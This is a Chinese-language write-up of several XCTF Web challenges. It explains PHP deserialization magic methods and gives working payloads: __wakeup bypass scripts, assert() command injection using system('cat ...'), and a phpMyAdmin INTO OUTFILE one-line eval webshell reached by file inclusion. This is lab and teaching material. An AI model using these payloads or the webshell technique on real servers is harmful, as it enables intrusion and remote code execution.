攻防世界Web区部分题解
前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 。 而反序列化就是把字符串重新转换为 对象 , 类 , 数组 , 变量 , 匿名函数 。 通过这种相互转换 ,从而完成 数据持久化。
谈到php的反序列化,就不能不说反序列化中的几种魔术方法,下面是文档中对于魔术方法的说明。
下面看几种重要的魔术方法:
__wakeup方法
unserialize()会先检查是否存在一个__wakeup()方法,如果__wakeup()方法存在,则会先调用__wakeup方法,预先准备对象需要的资源。比如完成对对象属性的赋值,创建对象的方法等等。
__toString方法
将一个对象当做字符串进行处理时,会调用__toString方法进行处理。比如需要echo或者print一个对象的时候,就会调用__toString方法。
<?php
class TestClass
{
public $foo; public function __construct($foo)
{
$this->foo = $foo;
} public function __toString() {
return $this->foo;
}
} $class = new TestClass('Hello');
echo $class; // 运行结果:Hello
?>
在上面的例子中,需要echo $class的时候,就会调用__toString方法,返回$this->foo,echo $class就会变成echo $this->foo。
__invoke方法
当尝试以调用函数的方式调用一个对象时,__invoke方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。)
<?php
class CallableClass
{
function __invoke($x) {
var_dump($x);
}
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
输出结果:
int(5)
bool(true)
__construct方法
__construct常常作为构造函数出现在php中。每次创建新对象时会调用此方法,适合在函数开始创建的时候做一些初始化工作。 构造函数和析构函数
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
源码如上所示,是一道考察反序列化的题目。这里应该是要绕过__wakeup的检测,在构造payload的时候,把fl4g.php传递进去,最后可以通过__destruct()把fl4g.php给打印出来。
可以看到函数在后面进行参数传递的时候,也对我们要传递的参数做了一个简单的过滤,通过preg_match进行了正则过滤。'O:4'这种构造的payload会被过滤掉,所以这时候我们需要改动一下payload,用'+4'代替'4'来进行绕过。exp如下所示:
<?php
class Demo{
private $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
echo @highlight_file($this->file,true);
}
function __wakeup(){
if($this->file!='index.php'){
$this->file='index.php';
}
}
}
$A=new Demo('fl4g.php');
$C=serialize($A);
$C=str_replace('O:4','O:+4',$C);
$C=str_replace(':1:',':2:',$C);
var_dump($C);
var_dump(base64_encode($C)); ?>
最终的payload:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
unserialize3
进入环境,源码如下。
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
这里也是调用了一个__wakeup的魔术方法,所以我们利用的思路,大体和前面一个题目一样。
<?php
class xctf{
public $flag='111';
public function __wakeup(){
exit('bad requests');
}
}
$A=new xctf();
$B=serialize($A);
$B=str_replace(':1:',':2:',$B);
var_dump($B);
var_dump(base64_encode($B));
?>
上面两道题目实际上考察的都是同一个东西,__wakeup魔术方法在反序列化的时候,如果定义的参数数目大于实际字符串的数目,就会跳过__wakeup魔术方法的执行。
mfw
进入界面,题目提示git泄露,拖下源码后开始代码审计。
<?php if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
} $file = "templates/" . $page . ".php"; // I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// assert会执行函数并且返回一个布尔值
// die输出一条消息,并退出当前脚本
// 返回字符串在上一个字符串中出现的位置,如果没有找到字符串则返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
一开始的时候,我尝试绕过strpos的检测,但是这道题目的考察点并不在这里。这道题目的断言函数在接受参数的时候,没有对接收的参数做一个审查,所以构造合理的话,可以实现一个命令执行的效果。assert()断言的函数定义在PHP5和PHP7中分别如下所示:
assert ( mixed $assertion [, string $description ] ) : bool
assert ( mixed $assertion [, Throwable $exception ] ) : bool
如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion
是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion
表达式。 这意味着如果你传入了 boolean 的条件作为 assertion
,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 FALSE
会被转换成空字符串。
最后在url中构造的payload如下:
'.system("cat templates/flag.php").'
两个引号用来闭合'$file'中的前一个引号和后一个引号。
') or system("cat templates/flag.php");//
或者使用括号来对括号进行闭合。
Web_php_include
这道题我记录一种爆破目录,然后数据库传马的黑盒思路。其他几种都是基于php伪协议的思路,主要在于对strstr函数的大小写绕过上。
首先御剑扫描一下,发现phpmyadmin的登录页面,这时候,用bp的intruder模块来对目录进行爆破。得到登录密码为空。
登录进去的页面就如图所示,然后我们在这里写入木马,将一句话木马写入到"/tmp/hack.php"(linux下这个目录的权限一般是可写的),然后通过文件包含将这个文件写入到page变量中,用蚁剑进行连接。
select "<?php eval($_POST['hack']);?>" into outfile "/tmp/hack.php"
写入数据库的payload。
/?page=/tmp/hack.php
最后得到flag。
这里可以写入一句话木马的原理可以再探究一下。phpmyadmin这里有一个全局变量secure-file-priv,这个全局变量是指定文件夹为导出文件的地方,默认情况下,secure-file-priv是一个空值(NULL),在phpmyadmin里面我们可以查看一下这个全局变量的值。
SHOW VARIABLES LIKE "secure_file_priv";
得到的结果如图所示:
为空值的时候,说明我们可以在可写文件夹下导入导出目录,也就是说我们可以在一些目录下写入一句话木马,同时通过文件包含,用蚁剑拿到webshell。